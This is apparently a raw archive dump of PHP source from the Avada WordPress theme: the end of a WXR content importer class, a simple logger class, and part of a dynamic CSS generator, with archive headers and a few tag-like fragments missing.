$data['user_email'] = $child->textContent; break; case 'wp:author_display_name': $data['display_name'] = $child->textContent; break; case 'wp:author_first_name': $data['first_name'] = $child->textContent; break; case 'wp:author_last_name': $data['last_name'] = $child->textContent; break; } } return compact( 'data', 'meta' ); } protected function process_author( $data, $meta ) { /** * Pre-process user data. * * @param array $data User data. (Return empty to skip.) * @param array $meta Meta data. */ $data = apply_filters( 'wxr_importer.pre_process.user', $data, $meta ); if ( empty( $data ) ) { return false; } // Have we already handled this user? $original_id = isset( $data['ID'] ) ? $data['ID'] : 0; $original_slug = $data['user_login']; if ( isset( $this->mapping['user'][ $original_id ] ) ) { $existing = $this->mapping['user'][ $original_id ]; // Note the slug mapping if we need to too if ( ! isset( $this->mapping['user_slug'][ $original_slug ] ) ) { $this->mapping['user_slug'][ $original_slug ] = $existing; } return false; } if ( isset( $this->mapping['user_slug'][ $original_slug ] ) ) { $existing = $this->mapping['user_slug'][ $original_slug ]; // Ensure we note the mapping too $this->mapping['user'][ $original_id ] = $existing; return false; } // Allow overriding the user's slug $login = $original_slug; if ( isset( $this->user_slug_override[ $login ] ) ) { $login = $this->user_slug_override[ $login ]; } $userdata = array( 'user_login' => sanitize_user( $login, true ), 'user_pass' => wp_generate_password(), ); $allowed = array( 'user_email' => true, 'display_name' => true, 'first_name' => true, 'last_name' => true, ); foreach ( $data as $key => $value ) { if ( ! isset( $allowed[ $key ] ) ) { continue; } $userdata[ $key ] = $data[ $key ]; } $user_id = wp_insert_user( wp_slash( $userdata ) ); if ( is_wp_error( $user_id ) ) { $this->logger->error( sprintf( __( 'Failed to import user "%s"', 'Avada' ), $userdata['user_login'] ) ); $this->logger->debug( $user_id->get_error_message() ); /** * User processing failed. * * @param WP_Error $user_id Error object. * @param array $userdata Raw data imported for the user. */ do_action( 'wxr_importer.process_failed.user', $user_id, $userdata ); return false; } if ( $original_id ) { $this->mapping['user'][ $original_id ] = $user_id; } $this->mapping['user_slug'][ $original_slug ] = $user_id; $this->logger->info( sprintf( __( 'Imported user "%s"', 'Avada' ), $userdata['user_login'] ) ); $this->logger->debug( sprintf( __( 'User %d remapped to %d', 'Avada' ), $original_id, $user_id ) ); // TODO: Implement meta handling once WXR includes it /** * User processing completed. * * @param int $user_id New user ID. * @param array $userdata Raw data imported for the user. */ do_action( 'wxr_importer.processed.user', $user_id, $userdata ); } protected function parse_term_node( $node, $type = 'term' ) { $data = array(); $meta = array(); $tag_name = array( 'id' => 'wp:term_id', 'taxonomy' => 'wp:term_taxonomy', 'slug' => 'wp:term_slug', 'parent' => 'wp:term_parent', 'name' => 'wp:term_name', 'description' => 'wp:term_description', ); $taxonomy = null; // Special casing! switch ( $type ) { case 'category': $tag_name['slug'] = 'wp:category_nicename'; $tag_name['parent'] = 'wp:category_parent'; $tag_name['name'] = 'wp:cat_name'; $tag_name['description'] = 'wp:category_description'; $tag_name['taxonomy'] = null; $data['taxonomy'] = 'category'; break; case 'tag': $tag_name['slug'] = 'wp:tag_slug'; $tag_name['parent'] = null; $tag_name['name'] = 'wp:tag_name'; $tag_name['description'] = 'wp:tag_description'; $tag_name['taxonomy'] = null; $data['taxonomy'] = 'post_tag'; break; } foreach ( $node->childNodes as $child ) { // We only care about child elements if ( $child->nodeType !== XML_ELEMENT_NODE ) { continue; } $key = array_search( $child->tagName, $tag_name ); if ( $key ) { $data[ $key ] = $child->textContent; } } if ( empty( $data['taxonomy'] ) ) { return null; } // Compatibility with WXR 1.0 if ( $data['taxonomy'] === 'tag' ) { $data['taxonomy'] = 'post_tag'; } return compact( 'data', 'meta' ); } protected function process_term( $data, $meta ) { /** * Pre-process term data. * * @param array $data Term data. (Return empty to skip.) * @param array $meta Meta data. */ $data = apply_filters( 'wxr_importer.pre_process.term', $data, $meta ); if ( empty( $data ) ) { return false; } $original_id = isset( $data['id'] ) ? (int) $data['id'] : 0; $parent_id = isset( $data['parent'] ) ? (int) $data['parent'] : 0; $mapping_key = sha1( $data['taxonomy'] . ':' . $data['slug'] ); $existing = $this->term_exists( $data ); if ( $existing ) { /** * Term processing already imported. * * @param array $data Raw data imported for the term. */ do_action( 'wxr_importer.process_already_imported.term', $data ); $this->mapping['term'][ $mapping_key ] = $existing; $this->mapping['term_id'][ $original_id ] = $existing; return false; } // WP really likes to repeat itself in export files if ( isset( $this->mapping['term'][ $mapping_key ] ) ) { return false; } $termdata = array(); $allowed = array( 'slug' => true, 'description' => true, ); // Map the parent comment, or mark it as one we need to fix // TODO: add parent mapping and remapping /*$requires_remapping = false; if ( $parent_id ) { if ( isset( $this->mapping['term'][ $parent_id ] ) ) { $data['parent'] = $this->mapping['term'][ $parent_id ]; } else { // Prepare for remapping later $meta[] = array( 'key' => '_wxr_import_parent', 'value' => $parent_id ); $requires_remapping = true; // Wipe the parent for now $data['parent'] = 0; } }*/ foreach ( $data as $key => $value ) { if ( ! isset( $allowed[ $key ] ) ) { continue; } $termdata[ $key ] = $data[ $key ]; } $result = wp_insert_term( $data['name'], $data['taxonomy'], $termdata ); if ( is_wp_error( $result ) ) { $this->logger->warning( sprintf( __( 'Failed to import %s %s', 'Avada' ), $data['taxonomy'], $data['name'] ) ); $this->logger->debug( $result->get_error_message() ); do_action( 'wp_import_insert_term_failed', $result, $data ); /** * Term processing failed. * * @param WP_Error $result Error object. * @param array $data Raw data imported for the term. * @param array $meta Meta data supplied for the term. */ do_action( 'wxr_importer.process_failed.term', $result, $data, $meta ); return false; } $term_id = $result['term_id']; $this->mapping['term'][ $mapping_key ] = $term_id; $this->mapping['term_id'][ $original_id ] = $term_id; $this->logger->info( sprintf( __( 'Imported "%s" (%s)', 'Avada' ), $data['name'], $data['taxonomy'] ) ); $this->logger->debug( sprintf( __( 'Term %d remapped to %d', 'Avada' ), $original_id, $term_id ) ); do_action( 'wp_import_insert_term', $term_id, $data ); /** * Term processing completed. * * @param int $term_id New term ID. * @param array $data Raw data imported for the term. */ do_action( 'wxr_importer.processed.term', $term_id, $data ); } /** * Attempt to download a remote file attachment * * @param string $url URL of item to fetch * @param array $post Attachment details * @return array|WP_Error Local file location details on success, WP_Error otherwise */ protected function fetch_remote_file( $url, $post ) { // extract the file name and extension from the url $file_name = basename( $url ); // get placeholder file in the upload dir with a unique, sanitized filename $upload = wp_upload_bits( $file_name, 0, '', $post['upload_date'] ); if ( $upload['error'] ) { return new WP_Error( 'upload_dir_error', $upload['error'] ); } // fetch the remote url and write it to the placeholder file $response = wp_remote_get( $url, array( 'stream' => true, 'filename' => $upload['file'], ) ); // request failed if ( is_wp_error( $response ) ) { unlink( $upload['file'] ); return $response; } $code = (int) wp_remote_retrieve_response_code( $response ); // make sure the fetch was successful if ( $code !== 200 ) { unlink( $upload['file'] ); return new WP_Error( 'import_file_error', sprintf( __( 'Remote server returned %1$d %2$s for %3$s', 'Avada' ), $code, get_status_header_desc( $code ), $url ) ); } $filesize = filesize( $upload['file'] ); $headers = wp_remote_retrieve_headers( $response ); if ( isset( $headers['content-length'] ) && $filesize !== (int) $headers['content-length'] ) { unlink( $upload['file'] ); return new WP_Error( 'import_file_error', __( 'Remote file is incorrect size', 'Avada' ) ); } if ( 0 === $filesize ) { unlink( $upload['file'] ); return new WP_Error( 'import_file_error', __( 'Zero size file downloaded', 'Avada' ) ); } $max_size = (int) $this->max_attachment_size(); if ( ! empty( $max_size ) && $filesize > $max_size ) { unlink( $upload['file'] ); $message = sprintf( __( 'Remote file is too large, limit is %s', 'Avada' ), size_format( $max_size ) ); return new WP_Error( 'import_file_error', $message ); } return $upload; } protected function post_process() { // Time to tackle any left-over bits if ( ! empty( $this->requires_remapping['post'] ) ) { $this->post_process_posts( $this->requires_remapping['post'] ); } if ( ! empty( $this->requires_remapping['comment'] ) ) { $this->post_process_comments( $this->requires_remapping['comment'] ); } } protected function post_process_posts( $todo ) { foreach ( $todo as $post_id => $_ ) { $this->logger->debug( sprintf( // Note: title intentionally not used to skip extra processing // for when debug logging is off __( 'Running post-processing for post %d', 'Avada' ), $post_id ) ); $data = array(); $parent_id = get_post_meta( $post_id, '_wxr_import_parent', true ); if ( ! empty( $parent_id ) ) { // Have we imported the parent now? if ( isset( $this->mapping['post'][ $parent_id ] ) ) { $data['post_parent'] = $this->mapping['post'][ $parent_id ]; } else { $this->logger->warning( sprintf( __( 'Could not find the post parent for "%s" (post #%d)', 'Avada' ), get_the_title( $post_id ), $post_id ) ); $this->logger->debug( sprintf( __( 'Post %d was imported with parent %d, but could not be found', 'Avada' ), $post_id, $parent_id ) ); } } $author_slug = get_post_meta( $post_id, '_wxr_import_user_slug', true ); if ( ! empty( $author_slug ) ) { // Have we imported the user now? if ( isset( $this->mapping['user_slug'][ $author_slug ] ) ) { $data['post_author'] = $this->mapping['user_slug'][ $author_slug ]; } else { $this->logger->warning( sprintf( __( 'Could not find the author for "%s" (post #%d)', 'Avada' ), get_the_title( $post_id ), $post_id ) ); $this->logger->debug( sprintf( __( 'Post %d was imported with author "%s", but could not be found', 'Avada' ), $post_id, $author_slug ) ); } } $has_attachments = get_post_meta( $post_id, '_wxr_import_has_attachment_refs', true ); if ( ! empty( $has_attachments ) ) { $post = get_post( $post_id ); $content = $post->post_content; // Replace all the URLs we've got $new_content = str_replace( array_keys( $this->url_remap ), $this->url_remap, $content ); if ( $new_content !== $content ) { $data['post_content'] = $new_content; } } if ( get_post_type( $post_id ) === 'nav_menu_item' ) { $this->post_process_menu_item( $post_id ); } // Do we have updates to make? if ( empty( $data ) ) { $this->logger->debug( sprintf( __( 'Post %d was marked for post-processing, but none was required.', 'Avada' ), $post_id ) ); continue; } // Run the update $data['ID'] = $post_id; $result = wp_update_post( $data, true ); if ( is_wp_error( $result ) ) { $this->logger->warning( sprintf( __( 'Could not update "%s" (post #%d) with mapped data', 'Avada' ), get_the_title( $post_id ), $post_id ) ); $this->logger->debug( $result->get_error_message() ); continue; } // Clear out our temporary meta keys delete_post_meta( $post_id, '_wxr_import_parent' ); delete_post_meta( $post_id, '_wxr_import_user_slug' ); delete_post_meta( $post_id, '_wxr_import_has_attachment_refs' ); } } protected function post_process_menu_item( $post_id ) { $menu_object_id = get_post_meta( $post_id, '_wxr_import_menu_item', true ); if ( empty( $menu_object_id ) ) { // No processing needed! return; } $menu_item_type = get_post_meta( $post_id, '_menu_item_type', true ); switch ( $menu_item_type ) { case 'taxonomy': if ( isset( $this->mapping['term_id'][ $menu_object_id ] ) ) { $menu_object = $this->mapping['term_id'][ $menu_object_id ]; } break; case 'post_type': if ( isset( $this->mapping['post'][ $menu_object_id ] ) ) { $menu_object = $this->mapping['post'][ $menu_object_id ]; } break; default: // Cannot handle this. return; } if ( ! empty( $menu_object ) ) { update_post_meta( $post_id, '_menu_item_object_id', wp_slash( $menu_object ) ); } else { $this->logger->warning( sprintf( __( 'Could not find the menu object for "%s" (post #%d)', 'Avada' ), get_the_title( $post_id ), $post_id ) ); $this->logger->debug( sprintf( __( 'Post %d was imported with object "%d" of type "%s", but could not be found', 'Avada' ), $post_id, $menu_object_id, $menu_item_type ) ); } delete_post_meta( $post_id, '_wxr_import_menu_item' ); } protected function post_process_comments( $todo ) { foreach ( $todo as $comment_id => $_ ) { $data = array(); $parent_id = get_comment_meta( $comment_id, '_wxr_import_parent', true ); if ( ! empty( $parent_id ) ) { // Have we imported the parent now? if ( isset( $this->mapping['comment'][ $parent_id ] ) ) { $data['comment_parent'] = $this->mapping['comment'][ $parent_id ]; } else { $this->logger->warning( sprintf( __( 'Could not find the comment parent for comment #%d', 'Avada' ), $comment_id ) ); $this->logger->debug( sprintf( __( 'Comment %d was imported with parent %d, but could not be found', 'Avada' ), $comment_id, $parent_id ) ); } } $author_id = get_comment_meta( $comment_id, '_wxr_import_user', true ); if ( ! empty( $author_id ) ) { // Have we imported the user now? if ( isset( $this->mapping['user'][ $author_id ] ) ) { $data['user_id'] = $this->mapping['user'][ $author_id ]; } else { $this->logger->warning( sprintf( __( 'Could not find the author for comment #%d', 'Avada' ), $comment_id ) ); $this->logger->debug( sprintf( __( 'Comment %d was imported with author %d, but could not be found', 'Avada' ), $comment_id, $author_id ) ); } } // Do we have updates to make? if ( empty( $data ) ) { continue; } // Run the update $data['comment_ID'] = $comment_id; $result = wp_update_comment( wp_slash( $data ) ); if ( empty( $result ) ) { $this->logger->warning( sprintf( __( 'Could not update comment #%d with mapped data', 'Avada' ), $comment_id ) ); continue; } // Clear out our temporary meta keys delete_comment_meta( $comment_id, '_wxr_import_parent' ); delete_comment_meta( $comment_id, '_wxr_import_user' ); } } /** * Use stored mapping information to update old attachment URLs */ protected function replace_attachment_urls_in_content() { global $wpdb; // make sure we do the longest urls first, in case one is a substring of another uksort( $this->url_remap, array( $this, 'cmpr_strlen' ) ); foreach ( $this->url_remap as $from_url => $to_url ) { // remap urls in post_content $query = $wpdb->prepare( "UPDATE {$wpdb->posts} SET post_content = REPLACE(post_content, %s, %s)", $from_url, $to_url ); $wpdb->query( $query ); // remap enclosure urls $query = $wpdb->prepare( "UPDATE {$wpdb->postmeta} SET meta_value = REPLACE(meta_value, %s, %s) WHERE meta_key='enclosure'", $from_url, $to_url ); $result = $wpdb->query( $query ); } } /** * Update _thumbnail_id meta to new, imported attachment IDs */ function remap_featured_images() { // cycle through posts that have a featured image foreach ( $this->featured_images as $post_id => $value ) { if ( isset( $this->processed_posts[ $value ] ) ) { $new_id = $this->processed_posts[ $value ]; // only update if there's a difference if ( $new_id !== $value ) { update_post_meta( $post_id, '_thumbnail_id', $new_id ); } } } } /** * Decide if the given meta key maps to information we will want to import * * @param string $key The meta key to check * @return string|bool The key if we do want to import, false if not */ public function is_valid_meta_key( $key ) { // skip attachment metadata since we'll regenerate it from scratch // skip _edit_lock as not relevant for import if ( in_array( $key, array( '_wp_attached_file', '_wp_attachment_metadata', '_edit_lock' ) ) ) { return false; } return $key; } /** * Decide what the maximum file size for downloaded attachments is. * Default is 0 (unlimited), can be filtered via import_attachment_size_limit * * @return int Maximum attachment file size to import */ protected function max_attachment_size() { return apply_filters( 'import_attachment_size_limit', 0 ); } /** * Added to http_request_timeout filter to force timeout at 60 seconds during import * * @access protected * @return int 60 */ function bump_request_timeout($val) { return 60; } // return the difference in length between two strings function cmpr_strlen( $a, $b ) { return strlen( $b ) - strlen( $a ); } /** * Prefill existing post data. * * This preloads all GUIDs into memory, allowing us to avoid hitting the * database when we need to check for existence. With larger imports, this * becomes prohibitively slow to perform SELECT queries on each. * * By preloading all this data into memory, it's a constant-time lookup in * PHP instead. However, this does use a lot more memory, so for sites doing * small imports onto a large site, it may be a better tradeoff to use * on-the-fly checking instead. */ protected function prefill_existing_posts() { global $wpdb; $posts = $wpdb->get_results( "SELECT ID, guid FROM {$wpdb->posts}" ); foreach ( $posts as $item ) { $this->exists['post'][ $item->guid ] = $item->ID; } } /** * Does the post exist? * * @param array $data Post data to check against. * @return int|bool Existing post ID if it exists, false otherwise. */ protected function post_exists( $data ) { // Constant-time lookup if we prefilled $exists_key = $data['guid']; if ( $this->options['prefill_existing_posts'] ) { return isset( $this->exists['post'][ $exists_key ] ) ? $this->exists['post'][ $exists_key ] : false; } // No prefilling, but might have already handled it if ( isset( $this->exists['post'][ $exists_key ] ) ) { return $this->exists['post'][ $exists_key ]; } // Still nothing, try post_exists, and cache it $exists = post_exists( $data['post_title'], $data['post_content'], $data['post_date'] ); $this->exists['post'][ $exists_key ] = $exists; return $exists; } /** * Mark the post as existing. * * @param array $data Post data to mark as existing. * @param int $post_id Post ID. */ protected function mark_post_exists( $data, $post_id ) { $exists_key = $data['guid']; $this->exists['post'][ $exists_key ] = $post_id; } /** * Prefill existing comment data. * * @see self::prefill_existing_posts() for justification of why this exists. */ protected function prefill_existing_comments() { global $wpdb; $posts = $wpdb->get_results( "SELECT comment_ID, comment_author, comment_date FROM {$wpdb->comments}" ); foreach ( $posts as $item ) { $exists_key = sha1( $item->comment_author . ':' . $item->comment_date ); $this->exists['comment'][ $exists_key ] = $item->comment_ID; } } /** * Does the comment exist? * * @param array $data Comment data to check against. * @return int|bool Existing comment ID if it exists, false otherwise. */ protected function comment_exists( $data ) { $exists_key = sha1( $data['comment_author'] . ':' . $data['comment_date'] ); // Constant-time lookup if we prefilled if ( $this->options['prefill_existing_comments'] ) { return isset( $this->exists['comment'][ $exists_key ] ) ? $this->exists['comment'][ $exists_key ] : false; } // No prefilling, but might have already handled it if ( isset( $this->exists['comment'][ $exists_key ] ) ) { return $this->exists['comment'][ $exists_key ]; } // Still nothing, try comment_exists, and cache it $exists = comment_exists( $data['comment_author'], $data['comment_date'] ); $this->exists['comment'][ $exists_key ] = $exists; return $exists; } /** * Mark the comment as existing. * * @param array $data Comment data to mark as existing. * @param int $comment_id Comment ID. */ protected function mark_comment_exists( $data, $comment_id ) { $exists_key = sha1( $data['comment_author'] . ':' . $data['comment_date'] ); $this->exists['comment'][ $exists_key ] = $comment_id; } /** * Prefill existing term data. * * @see self::prefill_existing_posts() for justification of why this exists. */ protected function prefill_existing_terms() { global $wpdb; $query = "SELECT t.term_id, tt.taxonomy, t.slug FROM {$wpdb->terms} AS t"; $query .= " JOIN {$wpdb->term_taxonomy} AS tt ON t.term_id = tt.term_id"; $terms = $wpdb->get_results( $query ); foreach ( $terms as $item ) { $exists_key = sha1( $item->taxonomy . ':' . $item->slug ); $this->exists['term'][ $exists_key ] = $item->term_id; } } /** * Does the term exist? * * @param array $data Term data to check against. * @return int|bool Existing term ID if it exists, false otherwise. */ protected function term_exists( $data ) { $exists_key = sha1( $data['taxonomy'] . ':' . $data['slug'] ); // Constant-time lookup if we prefilled if ( $this->options['prefill_existing_terms'] ) { return isset( $this->exists['term'][ $exists_key ] ) ? $this->exists['term'][ $exists_key ] : false; } // No prefilling, but might have already handled it if ( isset( $this->exists['term'][ $exists_key ] ) ) { return $this->exists['term'][ $exists_key ]; } // Still nothing, try comment_exists, and cache it $exists = term_exists( $data['slug'], $data['taxonomy'] ); if ( is_array( $exists ) ) { $exists = $exists['term_id']; } $this->exists['term'][ $exists_key ] = $exists; return $exists; } /** * Mark the term as existing. * * @param array $data Term data to mark as existing. * @param int $term_id Term ID. */ protected function mark_term_exists( $data, $term_id ) { $exists_key = sha1( $data['taxonomy'] . ':' . $data['slug'] ); $this->exists['term'][ $exists_key ] = $term_id; } } Avada/includes/lib/inc/importer/class-logger.php000064400000006564152342437700015663 0ustar00log( 'emergency', $message, $context ); } /** * Action must be taken immediately. * * Example: Entire website down, database unavailable, etc. This should * trigger the SMS alerts and wake you up. * * @param string $message * @param array $context * @return null */ public function alert( $message, array $context = array() ) { return $this->log( 'alert', $message, $context ); } /** * Critical conditions. * * Example: Application component unavailable, unexpected exception. * * @param string $message * @param array $context * @return null */ public function critical( $message, array $context = array() ) { return $this->log( 'critical', $message, $context ); } /** * Runtime errors that do not require immediate action but should typically * be logged and monitored. * * @param string $message * @param array $context * @return null */ public function error( $message, array $context = array()) { return $this->log( 'error', $message, $context ); } /** * Exceptional occurrences that are not errors. * * Example: Use of deprecated APIs, poor use of an API, undesirable things * that are not necessarily wrong. * * @param string $message * @param array $context * @return null */ public function warning( $message, array $context = array() ) { return $this->log( 'warning', $message, $context ); } /** * Normal but significant events. * * @param string $message * @param array $context * @return null */ public function notice( $message, array $context = array() ) { return $this->log( 'notice', $message, $context ); } /** * Interesting events. * * Example: User logs in, SQL logs. * * @param string $message * @param array $context * @return null */ public function info( $message, array $context = array() ) { return $this->log( 'info', $message, $context ); } /** * Detailed debug information. * * @param string $message * @param array $context * @return null */ public function debug( $message, array $context = array() ) { return $this->log( 'debug', $message, $context ); } /** * Logs with an arbitrary level. * * @param mixed $level * @param string $message * @param array $context * @return null */ public function log( $level, $message, array $context = array() ) { $this->messages[] = array( 'timestamp' => time(), 'level' => $level, 'message' => $message, 'context' => $context, ); } } Avada/includes/lib/inc/class-fusion-dynamic-css.php000064400000043342152342437700016251 0ustar00replace]. * * @static * @access private * @since 2.0 * @var array */ private static $replace_patterns = []; /** * The final CSS. * * Used here as a static property to avoid multiple constly calls * to the make_css() method. * * @static * @access private * @since 2.0 * @var string */ private static $final_css; /** * Constructor. * * @access protected * @since 1.0 */ protected function __construct() { self::$helpers = $this->get_helpers(); add_action( 'wp_enqueue_scripts', [ $this, 'init' ], 110 ); add_filter( 'awb_should_generate_dynamic_css', [ $this, 'prevent_dynamic_css_genration' ] ); // When a post is saved, reset its caches to force-regenerate the CSS. add_action( 'save_post', [ $this, 'reset_post_transient' ] ); add_action( 'save_post', [ $this, 'post_update_option' ] ); add_action( 'customize_save_after', [ $this, 'reset_all_caches' ] ); add_filter( 'fusion_dynamic_css', [ $this, 'add_extra_files' ] ); add_filter( 'fusion_dynamic_css', [ $this, 'icomoon_css' ] ); add_filter( 'fusion_dynamic_css_array', [ $this, 'add_css_vars_to_css' ], PHP_INT_MAX ); add_action( 'wp_enqueue_scripts', [ $this, 'enqueue_extra_files' ], 11 ); } /** * Gets the instance of this object. * * @static * @since 1.0 * @return object */ public static function get_instance() { if ( null === self::$instance ) { self::$instance = new self(); } return self::$instance; } /** * Add extra actions. * * @access public * @since 1.0 * @return void */ public function init() { if ( ! apply_filters( 'awb_should_generate_dynamic_css', true ) ) { return; } // Add options. $this->add_options(); // Set the $needs_update property. $this->needs_update(); // Set the $disable_cache property. $this->is_cache_disabled(); // Set mode. $this->set_mode(); if ( 'file' === $this->get_mode() ) { $this->file = new Fusion_Dynamic_CSS_File( $this ); return; } $this->inline = new Fusion_Dynamic_CSS_Inline( $this ); } /** * Make sure dynamic CSS is not generated in some scenarios. * * @access public * @since 1.0 * @param bool $should_generate Should generate dynamic CSS or not. * @return bool */ public function prevent_dynamic_css_genration( $should_generate ) { // If builder frame or AJAX request, no need to run. if ( function_exists( 'fusion_is_builder_frame' ) && fusion_is_builder_frame() || fusion_doing_ajax() ) { return false; } // Do not generate on generation pages of WooCommerce PDF Product Vouchers plugin. if ( 'wc_voucher' === get_post_type( get_the_ID() ) && isset( $_GET['voucher_key'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended return false; } return $should_generate; } /** * Determine if we're using file mode or inline mode. * * @access public * @since 1.0 * @return void */ public function set_mode() { $this->mode = 'inline'; $option = Fusion_Settings::get_option_name(); // Early exit if on the customizer. // This will force-using inline mode. global $wp_customize; if ( $wp_customize || ( isset( $_GET['builder_id'] ) && get_transient( 'fusion_app_emulated-' . sanitize_text_field( wp_unslash( $_GET['builder_id'] ) . '-' . $option ) ) ) ) { // phpcs:ignore WordPress.Security.NonceVerification return; } // Make sure Avada is active if being used. if ( $this->is_cache_disabled() ) { $this->mode = 'inline'; return; } // Check if we're using file mode or inline mode. // This simply checks the css_cache_method options. if ( 'file' === fusion_library()->get_option( 'css_cache_method' ) ) { $this->mode = 'file'; } } /** * Gets the mode we're using. * * @access public * @since 1.1.5 * @return string */ public function get_mode() { if ( ! $this->mode || null === $this->mode ) { $this->needs_update(); $this->set_mode(); } return ( defined( 'FUSION_DISABLE_COMPILERS' ) && FUSION_DISABLE_COMPILERS ) ? 'inline' : $this->mode; } /** * Creates the final CSS. * * @access public * @since 2.0 * @return string The final CSS. */ public function generate_final_css() { if ( self::$final_css ) { return self::$final_css; } do_action( 'awb_generating_css' ); $helpers = self::$helpers; self::$final_css = $helpers->get_dynamic_css(); self::$final_css = apply_filters( 'fusion_dynamic_css_cached', self::$final_css ); // Apply replace patterns. $replace_patterns = self::get_replacement_patterns(); foreach ( $replace_patterns as $search => $replace ) { self::$final_css = str_replace( $search, $replace, self::$final_css ); } // When using domain-mapping plugins we have to make sure that any references to the original domain // are replaced with references to the mapped domain. // We're also stripping protocols from these domains so that there are no issues with SSL certificates. if ( defined( 'DOMAIN_MAPPING' ) && DOMAIN_MAPPING ) { if ( function_exists( 'domain_mapping_siteurl' ) && function_exists( 'get_original_url' ) ) { // The mapped domain of the site. $mapped_domain = domain_mapping_siteurl( false ); $mapped_domain = str_replace( [ 'https://', 'http://' ], '//', $mapped_domain ); // The original domain of the site. $original_domain = get_original_url( 'siteurl' ); $original_domain = str_replace( [ 'https://', 'http://' ], '//', $original_domain ); // Replace original domain with mapped domain. self::$final_css = str_replace( $original_domain, $mapped_domain, self::$final_css ); } } // Strip protocols. This helps avoid any issues with https sites. self::$final_css = str_replace( [ 'https://', 'http://' ], '//', self::$final_css ); self::$final_css = apply_filters( 'fusion_dynamic_css_final', self::$final_css ); // We're adding a warning at the top of the file to prevent users from editing it. // The warning is then followed by the actual CSS content. self::$final_css = '/********* Compiled CSS - Do not edit *********/ ' . self::$final_css; // Security: strips style and script tags. self::$final_css = preg_replace( '@<(script|style)[^>]*?>.*?@si', '', self::$final_css ); return self::$final_css; } /** * This function takes care of creating the CSS. * * @access public * @since 1.0 * @return string The final CSS. */ public function make_css() { if ( ! self::$final_css || empty( self::$final_css ) ) { $helpers = self::$helpers; self::$final_css = $helpers->dynamic_css_cached(); } return self::$final_css; } /** * Reset ALL CSS transient caches. * * @access public * @since 1.0 * @return void */ public function reset_all_transients() { global $wpdb; $wpdb->query( "DELETE FROM $wpdb->options WHERE option_name LIKE '_transient_fusion_dynamic_css_%'" ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching } /** * Reset the dynamic CSS transient for a post. * * @access public * @since 1.0 * @param int $post_id The ID of the post that's being reset. */ public function reset_post_transient( $post_id ) { delete_transient( 'fusion_dynamic_css_' . $post_id ); } /** * Create settings. * * @access private */ private function add_options() { // The 'fusion_dynamic_css_posts' option will hold an array of posts that have had their css generated. // We can use that to keep track of which pages need their CSS to be recreated and which don't. add_option( 'fusion_dynamic_css_posts', [], '', 'yes' ); } /** * Update the fusion_dynamic_css_posts option when a post is saved. * This adds the current post's ID in the array of IDs that the 'fusion_dynamic_css_posts' option has. * * @access public * @since 1.0 * @param int $post_id The post ID. * @return void */ public function post_update_option( $post_id ) { $options = [ 'fusion_dynamic_css_ids', 'fusion_dynamic_css_posts', ]; foreach ( $options as $option_name ) { $option = get_option( $option_name, [] ); $option[ $post_id ] = false; update_option( $option_name, $option ); } } /** * Update the fusion_dynamic_css_posts option when the Global Options are saved. * This basically empties the array of page IDs from the 'fusion_dynamic_css_posts' option. * * @access public * @since 1.0 */ public function global_reset_option() { update_option( 'fusion_dynamic_css_posts', [] ); update_option( 'fusion_dynamic_css_ids', [] ); } /** * Do we need to update the CSS file? * * @access public * @since 1.0 * @return bool */ public function needs_update() { // Get the 'fusion_dynamic_css_posts' option from the DB. $option = get_option( 'fusion_dynamic_css_posts', [] ); // Get the current page ID. $c_page_id = fusion_library()->get_page_id(); $page_id = ( $c_page_id ) ? $c_page_id : 'global'; // If the current page ID exists in the array of pages defined in the 'fusion_dynamic_css_posts' option // then the page has already been compiled and we don't need to re-compile it. // If it's not in the array then it has not been compiled before so we need to update it. if ( ! isset( $option[ $page_id ] ) || ! $option[ $page_id ] ) { self::$needs_update = true; } return self::$needs_update; } /** * There are special cases when cache should be disabled, for example: Avada is active but WPtouch plugin is used. * In such case all CSS caching should be disabled (and mode set to "inline") in order not to cache CSS which is missing global styles. * Here TextDomain is used, instead of theme Name, so cache is disabled even if a user renames theme. * * @access public * @since 1.1 * @return bool */ public function is_cache_disabled() { if ( null === self::$disable_cache ) { $theme = wp_get_theme(); self::$disable_cache = false; if ( 'Avada' === $theme->get( 'TextDomain' ) && ! class_exists( 'Avada' ) || ( function_exists( 'fusion_is_preview_frame' ) && fusion_is_preview_frame() ) ) { self::$disable_cache = true; } self::$disable_cache = apply_filters( 'fusion_dynamic_cache_disabled', self::$disable_cache ); } return self::$disable_cache; } /** * This is just a facilitator that will allow us to reset everything. * Its only job is calling the other methods from this class and reset parts of our caches. * * @access public * @since 1.0 * @return void */ public function reset_all_caches() { $this->reset_all_transients(); $this->global_reset_option(); } /** * Get an instance of the Fusion_Dynamic_CSS_Helpers object. * * @access public * @since 1.0 * @return object Fusion_Dynamic_CSS_Helpers */ public function get_helpers() { // Instantiate the Fusion_Dynamic_CSS_Helpers object. if ( null === self::$helpers ) { self::$helpers = new Fusion_Dynamic_CSS_Helpers(); } return self::$helpers; } /** * Makes adding files to the compiled CSS easier. * * @static * @access public * @since 5.1.0 * @param string $path The file path. * @param string $url The file URL. */ public static function enqueue_style( $path, $url = '' ) { if ( '' === $url ) { self::$extra_files[] = $path; return; } self::$extra_files[ $url ] = $path; } /** * Enqueue extra files. * This is used as a falback in case we can't get the contents of the CSS file. * * @access public * @since 1.0.6 */ public function enqueue_extra_files() { if ( fusion_should_defer_styles_loading() && doing_action( 'wp_enqueue_scripts' ) ) { add_action( 'wp_body_open', [ $this, 'enqueue_extra_files' ], 11 ); return; } global $fusion_library_latest_version; // Get the extra files we need to enqueue. $extra_assets = get_transient( 'fusion_dynamic_css_extra_files_to_enqueue' ); $extra_assets = ( ! is_array( $extra_assets ) ) ? [] : $extra_assets; // No need to proceed if $extra_assets doesn't have anything. if ( empty( $extra_assets ) ) { return; } // If we got this far there are scripts to enqueue. foreach ( $extra_assets as $url ) { // Early exit if not a string. if ( ! is_string( $url ) || is_numeric( $url ) ) { continue; } // Make sure the URL is properly escaped. $url = esc_url_raw( $url ); // The only thing we have available is the url, // so we'll simply use md5() to create a unique handle for the script. $handle = md5( $url ); // Enqueue the style. wp_enqueue_style( $handle, $url, [], $fusion_library_latest_version ); } } /** * Adds our extra files to the final CSS. * * @access public * @since 1.0 * @param string $css The final CSS. * @return string The final CSS after our extra files have been added. */ public function add_extra_files( $css ) { $extra_files = array_unique( self::$extra_files ); $extra_assets = []; $files_css = ''; foreach ( $extra_files as $url => $path ) { // Get the file contents. $file_contents = fusion_file_get_contents( $path ); if ( $file_contents ) { $files_css .= $file_contents; } else { $extra_assets[] = $url; } } if ( ! empty( $extra_assets ) ) { 